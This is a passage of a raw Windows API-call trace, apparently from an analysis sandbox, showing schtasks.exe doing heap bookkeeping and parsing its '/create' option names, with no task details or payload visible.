returned 1 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc80) returned 0x20 [0089.873] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80 | out: hHeap=0x350000) returned 1 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2d0) returned 1 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d2d0) returned 0x8 [0089.873] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2d0 | out: hHeap=0x350000) returned 1 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dcb0) returned 1 [0089.873] GetProcessHeap () returned 0x350000 [0089.873] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dcb0) returned 0x20 [0089.874] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dcb0 | out: hHeap=0x350000) returned 1 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2f0) returned 1 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d2f0) returned 0x6 [0089.874] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2f0 | out: hHeap=0x350000) returned 1 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dce0) returned 1 [0089.874] GetProcessHeap () returned 0x350000 [0089.874] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dce0) returned 0x20 [0089.875] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dce0 | out: hHeap=0x350000) returned 1 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d310) returned 1 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d310) returned 0x8 [0089.875] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d310 | out: hHeap=0x350000) returned 1 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd10) returned 1 [0089.875] GetProcessHeap () returned 0x350000 [0089.875] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd10) returned 0x20 [0089.876] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd10 | out: hHeap=0x350000) returned 1 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367bb0) returned 1 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367bb0) returned 0x38 [0089.876] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367bb0 | out: hHeap=0x350000) returned 1 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd40) returned 1 [0089.876] GetProcessHeap () returned 0x350000 [0089.876] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd40) returned 0x20 [0089.877] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd40 | out: hHeap=0x350000) returned 1 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ecb0) returned 1 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ecb0) returned 0x6 [0089.877] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ecb0 | out: hHeap=0x350000) returned 1 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd70) returned 1 [0089.877] GetProcessHeap () returned 0x350000 [0089.877] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dd70) returned 0x20 [0089.878] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dd70 | out: hHeap=0x350000) returned 1 [0089.878] GetProcessHeap () returned 0x350000 [0089.878] GetProcessHeap () returned 0x350000 [0089.878] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10) returned 1 [0089.878] GetProcessHeap () returned 0x350000 [0089.878] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba10) returned 0x18 [0089.878] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10 | out: hHeap=0x350000) returned 1 [0089.879] SetLastError (dwErrCode=0x0) [0089.879] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0089.879] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0089.879] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0089.879] VerifyVersionInfoW (in: lpVersionInformation=0x19c790, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c790) returned 1 [0089.879] SetLastError (dwErrCode=0x0) [0089.879] lstrlenW (lpString="create") returned 6 [0089.879] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0089.879] SetLastError (dwErrCode=0x490) [0089.879] SetLastError (dwErrCode=0x0) [0089.879] lstrlenW (lpString="create") returned 6 [0089.879] GetProcessHeap () returned 0x350000 [0089.879] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd70 [0089.879] GetProcessHeap () returned 0x350000 [0089.879] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36e500 [0089.879] _memicmp (_Buf1=0x36e500, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.880] GetProcessHeap () returned 0x350000 [0089.880] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36e520 [0089.880] SetLastError (dwErrCode=0x0) [0089.880] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.880] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36cbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0089.880] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0089.880] GetProcessHeap () returned 0x350000 [0089.880] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x74e) returned 0x36ecb0 [0089.881] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x36ecb0 | out: lpData=0x36ecb0) returned 1 [0089.881] VerQueryValueW (in: pBlock=0x36ecb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c878, puLen=0x19c8e0 | out: lplpBuffer=0x19c878*=0x36f04c, puLen=0x19c8e0) returned 1 [0089.881] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.881] _vsnwprintf (in: _Buffer=0x36cbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c858 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0089.881] VerQueryValueW (in: pBlock=0x36ecb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c8e8, puLen=0x19c8d8 | out: lplpBuffer=0x19c8e8*=0x36ee78, puLen=0x19c8d8) returned 1 [0089.881] lstrlenW (lpString="schtasks.exe") returned 12 [0089.881] lstrlenW (lpString="schtasks.exe") returned 12 [0089.881] lstrlenW (lpString=".EXE") returned 4 [0089.881] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0089.881] lstrlenW (lpString="schtasks.exe") returned 12 [0089.881] lstrlenW (lpString=".EXE") returned 4 [0089.881] lstrlenW (lpString="schtasks") returned 8 [0089.881] lstrlenW (lpString="/create") returned 7 [0089.881] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.881] _vsnwprintf (in: _Buffer=0x36cbd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c858 | out: _Buffer="schtasks /create") returned 16 [0089.882] _memicmp (_Buf1=0x36cfd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.882] GetProcessHeap () returned 0x350000 [0089.882] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd40 [0089.882] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.882] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0089.882] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0089.882] GetProcessHeap () returned 0x350000 [0089.882] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x30) returned 0x367bb0 [0089.882] _vsnwprintf (in: _Buffer=0x36cff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c858 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0089.882] GetProcessHeap () returned 0x350000 [0089.882] GetProcessHeap () returned 0x350000 [0089.882] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ecb0) returned 1 [0089.882] GetProcessHeap () returned 0x350000 [0089.882] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ecb0) returned 0x74e [0089.883] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ecb0 | out: hHeap=0x350000) returned 1 [0089.883] SetLastError (dwErrCode=0x0) [0089.883] GetThreadLocale () returned 0x409 [0089.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.883] lstrlenW (lpString="create") returned 6 [0089.883] GetThreadLocale () returned 0x409 [0089.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.883] lstrlenW (lpString="?") returned 1 [0089.883] GetThreadLocale () returned 0x409 [0089.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.883] lstrlenW (lpString="s") returned 1 [0089.883] GetThreadLocale () returned 0x409 [0089.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="u") returned 1 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="p") returned 1 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="ru") returned 2 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="rp") returned 2 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="sc") returned 2 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="mo") returned 2 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="d") returned 1 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="m") returned 1 [0089.884] GetThreadLocale () returned 0x409 [0089.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.884] lstrlenW (lpString="i") returned 1 [0089.884] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="tn") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="tr") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="st") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="sd") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="ed") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="it") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="et") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="k") returned 1 [0089.885] GetThreadLocale () returned 0x409 [0089.885] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.885] lstrlenW (lpString="du") returned 2 [0089.885] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="ri") returned 2 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="z") returned 1 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="f") returned 1 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="v1") returned 2 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="xml") returned 3 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="ec") returned 2 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="rl") returned 2 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="delay") returned 5 [0089.886] GetThreadLocale () returned 0x409 [0089.886] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.886] lstrlenW (lpString="np") returned 2 [0089.887] SetLastError (dwErrCode=0x0) [0089.887] SetLastError (dwErrCode=0x0) [0089.887] lstrlenW (lpString="/create") returned 7 [0089.887] lstrlenW (lpString="-/") returned 2 [0089.887] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.887] lstrlenW (lpString="create") returned 6 [0089.887] lstrlenW (lpString="create") returned 6 [0089.887] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.887] lstrlenW (lpString="create") returned 6 [0089.887] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.887] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.887] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.887] lstrlenW (lpString="|create|") returned 8 [0089.887] lstrlenW (lpString="|create|") returned 8 [0089.887] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0089.887] SetLastError (dwErrCode=0x0) [0089.887] SetLastError (dwErrCode=0x0) [0089.887] SetLastError (dwErrCode=0x0) [0089.887] lstrlenW (lpString="/tn") returned 3 [0089.887] lstrlenW (lpString="-/") returned 2 [0089.887] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.887] lstrlenW (lpString="create") returned 6 [0089.887] lstrlenW (lpString="create") returned 6 [0089.887] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] lstrlenW (lpString="tn") returned 2 [0089.888] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.888] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.888] lstrlenW (lpString="|create|") returned 8 [0089.888] lstrlenW (lpString="|tn|") returned 4 [0089.888] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0089.888] SetLastError (dwErrCode=0x490) [0089.888] lstrlenW (lpString="?") returned 1 [0089.888] lstrlenW (lpString="?") returned 1 [0089.888] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] lstrlenW (lpString="tn") returned 2 [0089.888] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0089.888] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.888] lstrlenW (lpString="|?|") returned 3 [0089.888] lstrlenW (lpString="|tn|") returned 4 [0089.888] SetLastError (dwErrCode=0x490) [0089.888] lstrlenW (lpString="s") returned 1 [0089.888] lstrlenW (lpString="s") returned 1 [0089.888] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] lstrlenW (lpString="tn") returned 2 [0089.888] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.888] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0089.888] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.889] lstrlenW (lpString="|s|") returned 3 [0089.889] lstrlenW (lpString="|tn|") returned 4 [0089.889] SetLastError (dwErrCode=0x490) [0089.889] lstrlenW (lpString="u") returned 1 [0089.889] lstrlenW (lpString="u") returned 1 [0089.889] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.889] lstrlenW (lpString="tn") returned 2 [0089.889] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.889] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0089.889] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.889] lstrlenW (lpString="|u|") returned 3 [0089.889] lstrlenW (lpString="|tn|") returned 4 [0089.889] SetLastError (dwErrCode=0x490) [0089.889] lstrlenW (lpString="p") returned 1 [0089.889] lstrlenW (lpString="p") returned 1 [0089.889] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.889] lstrlenW (lpString="tn") returned 2 [0089.889] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.889] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0089.889] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.889] lstrlenW (lpString="|p|") returned 3 [0089.889] lstrlenW (lpString="|tn|") returned 4 [0089.889] SetLastError (dwErrCode=0x490) [0089.889] lstrlenW (lpString="ru") returned 2 [0089.890] lstrlenW (lpString="ru") returned 2 [0089.890] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.890] lstrlenW (lpString="tn") returned 2 [0089.890] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.890] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0089.890] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.890] lstrlenW (lpString="|ru|") returned 4 [0089.890] lstrlenW (lpString="|tn|") returned 4 [0089.890] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0089.890] SetLastError (dwErrCode=0x490) [0089.890] lstrlenW (lpString="rp") returned 2 [0089.890] lstrlenW (lpString="rp") returned 2 [0089.890] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.890] lstrlenW (lpString="tn") returned 2 [0089.890] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.890] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0089.890] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.890] lstrlenW (lpString="|rp|") returned 4 [0089.890] lstrlenW (lpString="|tn|") returned 4 [0089.890] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0089.890] SetLastError (dwErrCode=0x490) [0089.890] lstrlenW (lpString="sc") returned 2 [0089.890] lstrlenW (lpString="sc") returned 2 [0089.891] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.891] lstrlenW (lpString="tn") returned 2 [0089.891] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.891] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.891] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.891] lstrlenW (lpString="|sc|") returned 4 [0089.891] lstrlenW (lpString="|tn|") returned 4 [0089.891] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0089.891] SetLastError (dwErrCode=0x490) [0089.891] lstrlenW (lpString="mo") returned 2 [0089.891] lstrlenW (lpString="mo") returned 2 [0089.891] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.891] lstrlenW (lpString="tn") returned 2 [0089.891] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.891] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.891] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.891] lstrlenW (lpString="|mo|") returned 4 [0089.891] lstrlenW (lpString="|tn|") returned 4 [0089.891] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0089.891] SetLastError (dwErrCode=0x490) [0089.891] lstrlenW (lpString="d") returned 1 [0089.891] lstrlenW (lpString="d") returned 1 [0089.892] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] lstrlenW (lpString="tn") returned 2 [0089.892] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0089.892] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.892] lstrlenW (lpString="|d|") returned 3 [0089.892] lstrlenW (lpString="|tn|") returned 4 [0089.892] SetLastError (dwErrCode=0x490) [0089.892] lstrlenW (lpString="m") returned 1 [0089.892] lstrlenW (lpString="m") returned 1 [0089.892] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] lstrlenW (lpString="tn") returned 2 [0089.892] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0089.892] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.892] lstrlenW (lpString="|m|") returned 3 [0089.892] lstrlenW (lpString="|tn|") returned 4 [0089.892] SetLastError (dwErrCode=0x490) [0089.892] lstrlenW (lpString="i") returned 1 [0089.892] lstrlenW (lpString="i") returned 1 [0089.892] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] lstrlenW (lpString="tn") returned 2 [0089.892] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.892] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | 